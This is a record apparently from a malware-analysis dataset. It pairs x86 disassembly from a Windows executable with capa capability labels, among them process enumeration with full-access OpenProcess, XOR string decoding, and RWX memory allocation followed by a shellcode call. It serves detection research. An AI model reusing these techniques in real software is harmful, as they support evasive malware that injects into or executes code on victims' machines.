joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406960
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov eax, dword [0x40e008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 2
mov edi, ecx
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4069b0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.call_CreateToolhelp32Snapshot_failed__Function_failed_with_error_no:__d_n
call fcn.00401170
add esp, 8
or eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00407a06
mov esp, ebp
pop ebp
ret
push edi
push str.Finding_process_with_name__s_n
mov dword [ebp - 0x130], 0x128
call fcn.00401170
add esp, 8
lea eax, [ebp - 0x130]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x406a1f
mov ebx, dword [sym.imp.KERNEL32.dll_Process32Next]
lea eax, [ebp - 0x10c]
mov ecx, edi
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x406a08
test dl, dl
je 0x406a04
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x406a08
add ecx, 2
add eax, 2
test dl, dl
jne 0x4069e8
xor eax, eax
jmp 0x406a0d
sbb eax, eax
or eax, 1
test eax, eax
je 0x406a47
lea eax, [ebp - 0x130]
push eax
push esi
call ebx
test eax, eax
jne 0x4069e0
push edi
push str.No_process_with_name__s_can_be_found_n
call fcn.00401170
add esp, 8
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00407a06
mov esp, ebp
pop ebp
ret
push dword [ebp - 0x128]
lea eax, [ebp - 0x10c]
push eax
push str.Process_with_name:__s_Found__with_process_ID:__d_n
call fcn.00401170
mov ecx, dword [ebp - 4]
add esp, 0xc
mov eax, dword [ebp - 0x128]
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.00407a06
mov esp, ebp
pop ebp
ret
Function at 0x407812
Capabilities:
Delete directory
Delete file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40903e
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
push ebx
push esi
push edi
mov eax, dword [0x40e008]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, 0x4072c3
push edi
push str.SetFileInformationByHandle
push str.kernel32.dll
push 0x40e308
call fcn.0040728b
mov esi, eax
cmp esi, edi
jne 0x4078bb
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
je 0x407875
mov byte [ebp - 0x20], 1
xor edx, edx
mov eax, dword [ebp - 0x20]
jmp 0x40796b
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x10b
jne 0x407895
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x407867
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [ebp - 0x18], 0
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
push esi
call fcn.00402430
movzx edx, al
mov eax, dword [ebp - 0x18]
neg edx
pop ecx
sbb edx, edx
not edx
and edx, esi
jmp 0x40796b
push 0x2200000
push 0x10000
push dword [ebp + 8]
lea eax, [ebp - 0x14]
push eax
call fcn.004077de
mov ebx, eax
test ebx, ebx
je 0x4078ef
push ebx
mov byte [ebp - 0x28], 0
call fcn.00402430
movzx edi, al
neg edi
pop ecx
sbb edi, edi
not edi
and edi, ebx
jmp 0x40795c
push 4
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x1c], 3
push eax
push 0x15
push dword [ebp - 0x14]
mov ecx, esi
call dword [0x40a230]
call esi
test eax, eax
je 0x407917
mov byte [ebp - 0x28], 1
xor edi, edi
jmp 0x40795c
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
sub ecx, 1
je 0x407934
sub ecx, 0x31
je 0x407934
sub ecx, 0x25
je 0x407934
mov byte [ebp - 0x28], 0
jmp 0x40795a
push 1
lea eax, [ebp - 0xd]
mov byte [ebp - 0xd], 1
push eax
push 4
push dword [ebp - 0x14]
mov ecx, esi
call dword [0x40a230]
call esi
test eax, eax
jne 0x40790f
mov byte [ebp - 0x28], al
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
push dword [ebp - 0x14]
mov esi, dword [ebp - 0x28]
call fcn.004072d0
mov eax, esi
mov edx, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x403130
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0xb], 0
je 0x403152
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax + 0x7a]
inc eax
xor byte [edx], cl
cmp eax, 0xa
jb 0x403140
mov byte [esi + 0xb], 0
pop esi
ret

Function at 0x404f40
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, edx
not ebx
mov esi, ecx
mov eax, ebx
test edi, edi
je 0x404f8c
mov cl, byte [esi]
lea esi, [esi + 1]
dec edi
cmp cl, 0x23
jne 0x404f6f
cmp edi, 2
jb 0x404f6f
cmp byte [esi], cl
jne 0x404f6f
cmp byte [esi + 1], cl
cmove eax, ebx
movzx edx, al
movzx ecx, cl
xor edx, ecx
shr eax, 8
xor eax, dword [edx*4 + 0x48d7c0]
test edi, edi
jne 0x404f55
pop edi
pop esi
not eax
pop ebx
pop ebp
ret
mov cl, byte [esi]
inc esi
test cl, cl
je 0x404fbb
cmp cl, 0x23
jne 0x404fa2
cmp byte [esi], cl
jne 0x404fa2
cmp byte [esi + 1], cl
cmove eax, ebx
movzx edx, al
movzx ecx, cl
xor edx, ecx
shr eax, 8
mov cl, byte [esi]
inc esi
xor eax, dword [edx*4 + 0x48d7c0]
test cl, cl
jne 0x404f93
pop edi
pop esi
not eax
pop ebx
pop ebp
ret

Function at 0x4050a0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
test eax, eax
je 0x4050b4
mov dword [eax], 0
mov edx, 0x48d60c
call fcn.00404fd0
mov edi, eax
test edi, edi
je 0x405191
push edi
call fcn.0045a199
mov esi, eax
add esp, 4
cmp esi, 0xffffffff
je 0x405188
push 2
push 0
push edi
call fcn.0045aae3
add esp, 0xc
test eax, eax
jne 0x405188
push edi
call fcn.0045a199
mov ebx, eax
add esp, 4
cmp ebx, 0xffffffff
je 0x405188
push 0
push esi
push edi
call fcn.0045aae3
add esp, 0xc
test eax, eax
jne 0x405188
cmp ebx, 0xffffffff
je 0x405188
mov eax, dword [0x4b5c78]
test eax, eax
je 0x405129
inc dword [eax + 0x370]
push ebx
call fcn.0046204a
add esp, 4
mov dword [ebp - 4], eax
test eax, eax
je 0x405188
push edi
push ebx
push 1
push eax
call fcn.0045d680
push edi
mov esi, eax
call fcn.0045a788
add esp, 0x14
cmp esi, ebx
je 0x405175
mov eax, dword [0x4b5c78]
test eax, eax
je 0x405161
dec dword [eax + 0x370]
push dword [ebp - 4]
call fcn.0045d47f
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 8]
test eax, eax
je 0x40517e
mov dword [eax], ebx
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push edi
call fcn.0045a788
add esp, 4
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40ab50
Capabilities:
Hash data with crc32

Disassembly:
mov eax, ecx
or ecx, 0xffffffff
push ebx
push esi
mov bl, byte [eax]
lea esi, [eax + 1]
test bl, bl
je 0x40ab8d
push edi
or edi, 0xffffffff
cmp bl, 0x23
jne 0x40ab73
cmp byte [esi], bl
jne 0x40ab73
cmp byte [esi + 1], bl
cmove ecx, edi
movzx edx, cl
movzx eax, bl
mov bl, byte [esi]
xor edx, eax
shr ecx, 8
inc esi
xor ecx, dword [edx*4 + 0x48d7c0]
test bl, bl
jne 0x40ab64
pop edi
pop esi
not ecx
pop ebx
jmp fcn.0040aae0
Function at 0x40f2d0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x4b5c78]
lea edx, [ebp - 4]
push ebx
push esi
push edi
mov edi, dword [eax + 0x1b9c]
mov esi, 4
mov eax, dword [edi + 0xcc]
add edi, 0xc4
mov dword [ebp - 4], ecx
mov ebx, dword [edi]
mov dword [ebp - 8], ebx
mov ebx, dword [eax + ebx*4 - 4]
not ebx
movzx eax, byte [edx]
lea edx, [edx + 1]
movzx ecx, bl
xor ecx, eax
shr ebx, 8
xor ebx, dword [ecx*4 + 0x48d7c0]
sub esi, 1
jne 0x40f306
mov esi, dword [edi + 4]
not ebx
mov ecx, dword [ebp - 8]
cmp ecx, esi
jne 0x40f350
inc ecx
test esi, esi
je 0x40f33c
mov eax, esi
cdq
sub eax, edx
sar eax, 1
add eax, esi
jmp 0x40f341
mov eax, 8
cmp eax, ecx
cmovg ecx, eax
push ecx
mov ecx, edi
call fcn.00415160
mov ecx, dword [edi]
mov eax, dword [edi + 8]
mov dword [eax + ecx*4], ebx
inc dword [edi]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x413cf0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ecx
push ebx
push esi
push edi
mov edi, ecx
mov ebx, edx
cmp dword [edi + 0x2eec], 0
lea esi, [edi + 0x2ef0]
je 0x413d71
mov ecx, dword [esi + 4]
test ecx, ecx
jns 0x413d2c
mov eax, ecx
cdq
sub eax, edx
sar eax, 1
add eax, ecx
xor ecx, ecx
test eax, eax
cmovg ecx, eax
push ecx
mov ecx, esi
call fcn.00415460
push dword [ebp + 8]
mov ecx, esi
mov dword [esi], 0
push ebx
call fcn.004054f0
mov edx, dword [esi]
mov ecx, 0x4b5c74
push dword [edi + 0x2eec]
lea eax, [edx - 1]
neg edx
sbb edx, edx
and edx, eax
mov eax, dword [edi + 0x2ef8]
test eax, eax
push edx
cmovne ecx, eax
push 1
push ecx
call fcn.0045b333
add esp, 0x10
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push dword [ebp + 8]
mov ecx, esi
push ebx
call fcn.004054f0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41cf10
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x41cf46
mov eax, dword [0x4b5c78]
mov dword [esi + 4], 0
mov dword [esi], 0
test eax, eax
je 0x41cf36
dec dword [eax + 0x370]
push ecx
call fcn.0045d47f
add esp, 4
mov dword [esi + 8], 0
mov ecx, dword [esi + 0x14]
test ecx, ecx
je 0x41cf7a
mov eax, dword [0x4b5c78]
mov dword [esi + 0x10], 0
mov dword [esi + 0xc], 0
test eax, eax
je 0x41cf6a
dec dword [eax + 0x370]
push ecx
call fcn.0045d47f
add esp, 4
mov dword [esi + 0x14], 0
mov ecx, dword [esi + 0x20]
test ecx, ecx
je 0x41cfae
mov eax, dword [0x4b5c78]
mov dword [esi + 0x1c], 0
mov dword [esi + 0x18], 0
test eax, eax
je 0x41cf9e
dec dword [eax + 0x370]
push ecx
call fcn.0045d47f
add esp, 4
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x34], 0
mov dword [esi + 0x38], 0
mov ecx, dword [esi + 0x44]
test ecx, ecx
je 0x41cffe
mov eax, dword [0x4b5c78]
mov dword [esi + 0x40], 0
mov dword [esi + 0x3c], 0
test eax, eax
je 0x41cfee
dec dword [eax + 0x370]
push ecx
call fcn.0045d47f
add esp, 4
mov dword [esi + 0x44], 0
mov ecx, dword [esi + 0x50]
test ecx, ecx
je 0x41d032
mov eax, dword [0x4b5c78]
mov dword [esi + 0x4c], 0
mov dword [esi + 0x48], 0
test eax, eax
je 0x41d022
dec dword [eax + 0x370]
push ecx
call fcn.0045d47f
add esp, 4
mov dword [esi + 0x50], 0
mov ecx, dword [esi + 0x5c]
test ecx, ecx
je 0x41d066
mov eax, dword [0x4b5c78]
mov dword [esi + 0x58], 0
mov dword [esi + 0x54], 0
test eax, eax
je 0x41d056
dec dword [eax + 0x370]
push ecx
call fcn.0045d47f
add esp, 4
mov dword [esi + 0x5c], 0
lea ecx, [esi + 0x78]
pop esi
jmp fcn.0041f820
Function at 0x429150
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x47c72a
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
push esi
mov esi, ecx
push 0
mov dword [ebp - 0x10], esi
call fcn.0043bfb7
mov dword [ebp - 4], 0
mov dword [esi + 4], 0
mov byte [esi + 8], 0
mov dword [esi + 0xc], 0
mov byte [esi + 0x10], 0
xor eax, eax
mov dword [esi + 0x14], 0
mov word [esi + 0x18], ax
mov dword [esi + 0x1c], eax
mov word [esi + 0x20], ax
mov dword [esi + 0x24], eax
mov byte [esi + 0x28], al
mov dword [esi + 0x2c], eax
mov byte [esi + 0x30], al
mov eax, dword [ebp + 8]
mov byte [ebp - 4], 6
test eax, eax
je 0x4291dd
push eax
push esi
call fcn.0043d0d6
mov ecx, dword [ebp - 0xc]
add esp, 8
mov eax, esi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret 4
push str.bad_locale_name
lea ecx, [ebp - 0x1c]
call fcn.004290d0
push 0x49a6fc
lea eax, [ebp - 0x1c]
push eax
call fcn.00456347
int3

Function at 0x429d30
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 5], 0
je 0x429d52
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax + 0x7d]
inc eax
xor byte [edx], cl
cmp eax, 4
jb 0x429d40
mov byte [esi + 5], 0
mov eax, esi
pop esi
ret

Function at 0x429d90
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
push ebx
push esi
push edi
push 0
push 2
mov dword [ebp - 4], edx
mov ebx, ecx
mov dword [ebp - 0x130], 0x128
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
lea eax, [ebp - 0x130]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x429e27
mov edi, dword [sym.imp.KERNEL32.dll_Process32Next]
lea eax, [ebp - 0x130]
push eax
push esi
call edi
test eax, eax
je 0x429e27
nop dword [eax]
mov eax, ebx
lea ecx, [ebp - 0x10c]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x429e08
test dl, dl
je 0x429e04
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x429e08
add ecx, 2
add eax, 2
test dl, dl
jne 0x429de8
xor eax, eax
jmp 0x429e0d
sbb eax, eax
or eax, 1
test eax, eax
jne 0x429e19
cmp dword [ebp - 0x11c], eax
ja 0x429e30
lea eax, [ebp - 0x130]
push eax
push esi
call edi
test eax, eax
jne 0x429de0
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push dword [ebp - 0x128]
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ecx, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov dword [ecx], eax
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x42a2d0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x19], 0
je 0x42a2f2
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax + 0x7d]
inc eax
xor byte [edx], cl
cmp eax, 0x18
jb 0x42a2e0
mov byte [esi + 0x19], 0
mov eax, esi
pop esi
ret

Function at 0x42a300
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x20], 0
je 0x42a322
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax + 0x7d]
inc eax
xor byte [edx], cl
cmp eax, 0x1f
jb 0x42a310
mov byte [esi + 0x20], 0
mov eax, esi
pop esi
ret

Function at 0x42a330
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x2d], 0
je 0x42a352
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax + 0x7d]
inc eax
xor byte [edx], cl
cmp eax, 0x2c
jb 0x42a340
mov byte [esi + 0x2d], 0
mov eax, esi
pop esi
ret

Function at 0x42a720
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x40], 0
je 0x42a742
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax + 0x7d]
inc eax
xor byte [edx], cl
cmp eax, 0x3f
jb 0x42a730
mov byte [esi + 0x40], 0
mov eax, esi
pop esi
ret
Function at 0x42aa20
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push esi
push edi
push 0x40
push 0x1000
push 0x1000
push 0
mov esi, edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
jne 0x42aa45
pop edi
xor al, al
pop esi
ret 4
movups xmm0, xmmword [0x4b617c]
push 0x1c
push esi
movups xmmword [edi], xmm0
push 1
movq xmm0, qword [0x4b618c]
movq qword [edi + 0x10], xmm0
mov eax, dword [0x4b6194]
mov dword [edi + 0x18], eax
mov ax, word [0x4b6198]
mov word [edi + 0x1c], ax
call edi
push 0x1000
push 0
push edi
mov esi, eax
call fcn.00456ec0
add esp, 0xc
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
test esi, esi
pop edi
setg al
pop esi
ret 4
Function at 0x42aaa0
Capabilities:
Parse pe header

Disassembly:
mov ecx, dword [0x4b60c8]
cmp ecx, 1
jne 0x42aab2
mov dword [0x4b61bc], ecx
ret
cmp ecx, 2
jne 0x42aabe
mov dword [0x4b61bc], ecx
ret
cmp ecx, 3
jne 0x42aace
mov dword [0x4b61bc], 4
ret
cmp ecx, 4
jne 0x42aade
mov dword [0x4b61bc], 5
ret
cmp ecx, 5
jne 0x42aaee
mov dword [0x4b61bc], 6
ret
cmp ecx, 6
jne 0x42aafe
mov dword [0x4b61bc], 3
ret
cmp ecx, 7
jne 0x42ab0e
mov dword [0x4b61bc], 8
ret
cmp ecx, 8
jne 0x42ab1e
mov dword [0x4b61bc], 9
ret
cmp ecx, 9
jne 0x42ab2e
mov dword [0x4b61bc], 0xc
ret
cmp ecx, 0xa
je 0x42ad3c
cmp ecx, 0xb
jne 0x42ab47
mov dword [0x4b61bc], 0x10
ret
cmp ecx, 0xc
jne 0x42ab57
mov dword [0x4b61bc], 0x11
ret
cmp ecx, 0xd
jne 0x42ab67
mov dword [0x4b61bc], 0x12
ret
cmp ecx, 0xe
jne 0x42ab77
mov dword [0x4b61bc], 0x14
ret
cmp ecx, 0xf
jne 0x42ab87
mov dword [0x4b61bc], 0x1b
ret
cmp ecx, 0x10
jne 0x42ab97
mov dword [0x4b61bc], 0x20
ret
cmp ecx, 0x11
jne 0x42aba7
mov dword [0x4b61bc], 0x41
ret
cmp ecx, 0x12
jne 0x42abb7
mov dword [0x4b61bc], 0x42
ret
cmp ecx, 0x13
jne 0x42abc7
mov dword [0x4b61bc], 0x43
ret
cmp ecx, 0x14
jne 0x42abd7
mov dword [0x4b61bc], 0x44
ret
cmp ecx, 0x15
jne 0x42abe7
mov dword [0x4b61bc], 0x45
ret
cmp ecx, 0x16
jne 0x42abf7
mov dword [0x4b61bc], 0x46
ret
cmp ecx, 0x17
jne 0x42ac07
mov dword [0x4b61bc], 0x47
ret
cmp ecx, 0x18
jne 0x42ac17
mov dword [0x4b61bc], 0x48
ret
cmp ecx, 0x19
jne 0x42ac27
mov dword [0x4b61bc], 0x49
ret
cmp ecx, 0x1a
jne 0x42ac37
mov dword [0x4b61bc], 0x4a
ret
cmp ecx, 0x1b
jne 0x42ac47
mov dword [0x4b61bc], 0x4b
ret
cmp ecx, 0x1c
jne 0x42ac57
mov dword [0x4b61bc], 0x4c
ret
cmp ecx, 0x1d
jne 0x42ac67
mov dword [0x4b61bc], 0x4d
ret
cmp ecx, 0x1e
jne 0x42ac77
mov dword [0x4b61bc], 0x4e
ret
cmp ecx, 0x1f
jne 0x42ac87
mov dword [0x4b61bc], 0x4f
ret
cmp ecx, 0x20
jne 0x42ac97
mov dword [0x4b61bc], 0x50
ret
cmp ecx, 0x21
jne 0x42aca7
mov dword [0x4b61bc], 0x51
ret
cmp ecx, 0x22
jne 0x42acb7
mov dword [0x4b61bc], 0x52
ret
cmp ecx, 0x23
jne 0x42acc7
mov dword [0x4b61bc], 0x53
ret
cmp ecx, 0x24
jne 0x42acd7
mov dword [0x4b61bc], 0x54
ret
cmp ecx, 0x25
jne 0x42ace7
mov dword [0x4b61bc], 0x55
ret
cmp ecx, 0x26
jne 0x42acf7
mov dword [0x4b61bc], 0x56
ret
cmp ecx, 0x27
jne 0x42ad07
mov dword [0x4b61bc], 0x57
ret
cmp ecx, 0x28
jne 0x42ad17
mov dword [0x4b61bc], 0x58
ret
cmp ecx, 0x29
jne 0x42ad27
mov dword [0x4b61bc], 0x59
ret
mov eax, dword [0x4b61bc]
cmp ecx, 0x2a
mov edx, 0x5a
cmove eax, edx
mov dword [0x4b61bc], eax
ret
Function at 0x42ad40
Capabilities:
Parse pe header

Disassembly:
mov ecx, dword [0x4b30d4]
cmp ecx, 1
jne 0x42ad52
mov dword [0x4b60c0], ecx
ret
cmp ecx, 2
jne 0x42ad5e
mov dword [0x4b60c0], ecx
ret
cmp ecx, 3
jne 0x42ad6e
mov dword [0x4b60c0], 4
ret
cmp ecx, 4
jne 0x42ad7e
mov dword [0x4b60c0], 5
ret
cmp ecx, 5
jne 0x42ad8e
mov dword [0x4b60c0], 6
ret
cmp ecx, 6
jne 0x42ad9e
mov dword [0x4b60c0], 3
ret
cmp ecx, 7
jne 0x42adae
mov dword [0x4b60c0], 8
ret
cmp ecx, 8
jne 0x42adbe
mov dword [0x4b60c0], 9
ret
cmp ecx, 9
jne 0x42adce
mov dword [0x4b60c0], 0xc
ret
cmp ecx, 0xa
je 0x42afdc
cmp ecx, 0xb
jne 0x42ade7
mov dword [0x4b60c0], 0x10
ret
cmp ecx, 0xc
jne 0x42adf7
mov dword [0x4b60c0], 0x11
ret
cmp ecx, 0xd
jne 0x42ae07
mov dword [0x4b60c0], 0x12
ret
cmp ecx, 0xe
jne 0x42ae17
mov dword [0x4b60c0], 0x14
ret
cmp ecx, 0xf
jne 0x42ae27
mov dword [0x4b60c0], 0x1b
ret
cmp ecx, 0x10
jne 0x42ae37
mov dword [0x4b60c0], 0x20
ret
cmp ecx, 0x11
jne 0x42ae47
mov dword [0x4b60c0], 0x41
ret
cmp ecx, 0x12
jne 0x42ae57
mov dword [0x4b60c0], 0x42
ret
cmp ecx, 0x13
jne 0x42ae67
mov dword [0x4b60c0], 0x43
ret
cmp ecx, 0x14
jne 0x42ae77
mov dword [0x4b60c0], 0x44
ret
cmp ecx, 0x15
jne 0x42ae87
mov dword [0x4b60c0], 0x45
ret
cmp ecx, 0x16
jne 0x42ae97
mov dword [0x4b60c0], 0x46
ret
cmp ecx, 0x17
jne 0x42aea7
mov dword [0x4b60c0], 0x47
ret
cmp ecx, 0x18
jne 0x42aeb7
mov dword [0x4b60c0], 0x48
ret
cmp ecx, 0x19
jne 0x42aec7
mov dword [0x4b60c0], 0x49
ret
cmp ecx, 0x1a
jne 0x42aed7
mov dword [0x4b60c0], 0x4a
ret
cmp ecx, 0x1b
jne 0x42aee7
mov dword [0x4b60c0], 0x4b
ret
cmp ecx, 0x1c
jne 0x42aef7
mov dword [0x4b60c0], 0x4c
ret
cmp ecx, 0x1d
jne 0x42af07
mov dword [0x4b60c0], 0x4d
ret
cmp ecx, 0x1e
jne 0x42af17
mov dword [0x4b60c0], 0x4e
ret
cmp ecx, 0x1f
jne 0x42af27
mov dword [0x4b60c0], 0x4f
ret
cmp ecx, 0x20
jne 0x42af37
mov dword [0x4b60c0], 0x50
ret
cmp ecx, 0x21
jne 0x42af47
mov dword [0x4b60c0], 0x51
ret
cmp ecx, 0x22
jne 0x42af57
mov dword [0x4b60c0], 0x52
ret
cmp ecx, 0x23
jne 0x42af67
mov dword [0x4b60c0], 0x53
ret
cmp ecx, 0x24
jne 0x42af77
mov dword [0x4b60c0], 0x54
ret
cmp ecx, 0x25
jne 0x42af87
mov dword [0x4b60c0], 0x55
ret
cmp ecx, 0x26
jne 0x42af97
mov dword [0x4b60c0], 0x56
ret
cmp ecx, 0x27
jne 0x42afa7
mov dword [0x4b60c0], 0x57
ret
cmp ecx, 0x28
jne 0x42afb7
mov dword [0x4b60c0], 0x58
ret
cmp ecx, 0x29
jne 0x42afc7
mov dword [0x4b60c0], 0x59
ret
mov eax, dword [0x4b60c0]
cmp ecx, 0x2a
mov edx, 0x5a
cmove eax, edx
mov dword [0x4b60c0], eax
ret
Function at 0x42eaf0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x2c], 0
je 0x42eb12
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax + 0x7d]
inc eax
xor byte [edx], cl
cmp eax, 0x2b
jb 0x42eb00
mov byte [esi + 0x2c], 0
mov eax, esi
pop esi
ret

Function at 0x42fd20
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x228
push ebx
push esi
push dword [0x4b5e08]
mov ebx, ecx
mov dword [ebp - 4], 0
push 8
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
push 0x220
mov esi, eax
lea eax, [ebp - 0x224]
push 0
push eax
call fcn.00456ec0
add esp, 0xc
mov dword [ebp - 0x228], 0x224
lea eax, [ebp - 0x228]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32First]
test eax, eax
je 0x42fdbd
push edi
mov edi, dword [sym.imp.KERNEL32.dll_Module32Next]
nop dword [eax]
lea eax, [ebp - 0x208]
push ebx
push eax
call fcn.0046252d
add esp, 8
test eax, eax
je 0x42fdb3
lea eax, [ebp - 0x228]
push eax
push esi
call edi
test eax, eax
jne 0x42fd80
pop edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x214]
mov dword [ebp - 4], eax
pop edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x434e30
Capabilities:
Encode data using base64 via winapi

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x47c809
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x28
push ebx
push esi
mov esi, ecx
mov ebx, edx
mov dword [ebp - 0x1c], esi
mov dword [ebp - 4], 0
push edi
mov dword [ebp - 0x14], 0
push 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
push 0x48d4f8
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x10], 0
mov byte [esi], 0
call fcn.0043a270
mov edi, ebx
mov dword [ebp - 4], 0
mov dword [ebp - 0x14], 1
lea ecx, [edi + 1]
nop dword [eax]
mov al, byte [edi]
inc edi
test al, al
jne 0x434ea0
sub edi, ecx
je 0x434fd7
lea eax, [ebp - 0x10]
push eax
push 0
push 1
push edi
push ebx
call dword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x434f37
push ecx
push eax
lea ecx, [ebp - 0x28]
call fcn.00438a60
lea eax, [ebp - 0x10]
mov dword [ebp - 4], 1
mov ebx, dword [ebp - 0x28]
push eax
push ebx
push 1
push edi
push dword [ebp - 0x18]
call dword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
mov ecx, ebx
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x434ef0
sub ecx, edx
push ecx
push ebx
mov ecx, esi
call fcn.0043a270
mov byte [ebp - 4], 0
test ebx, ebx
je 0x434f37
mov ecx, dword [ebp - 0x20]
mov eax, ebx
sub ecx, ebx
cmp ecx, 0x1000
jb 0x434f2d
mov ebx, dword [ebx - 4]
add ecx, 0x23
sub eax, ebx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x434fea
push ecx
push ebx
call fcn.0043eaac
add esp, 8
sub esp, 8
mov ecx, esi
call fcn.00439570
cmp eax, 0xffffffff
je 0x434fd7
nop word [eax + eax]
push 2
push 0x48d5fc
lea ecx, [ebp - 0x34]
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0xf
mov byte [ebp - 0x34], 0
call fcn.0043a270
sub esp, 8
mov dword [ebp - 4], 2
mov ecx, esi
call fcn.00439570
push 0
push ecx
push dword [ebp - 0x24]
mov ecx, esi
push eax
call fcn.0043a100
mov byte [ebp - 4], 0
mov edx, dword [ebp - 0x20]
cmp edx, 0x10
jb 0x434fc4
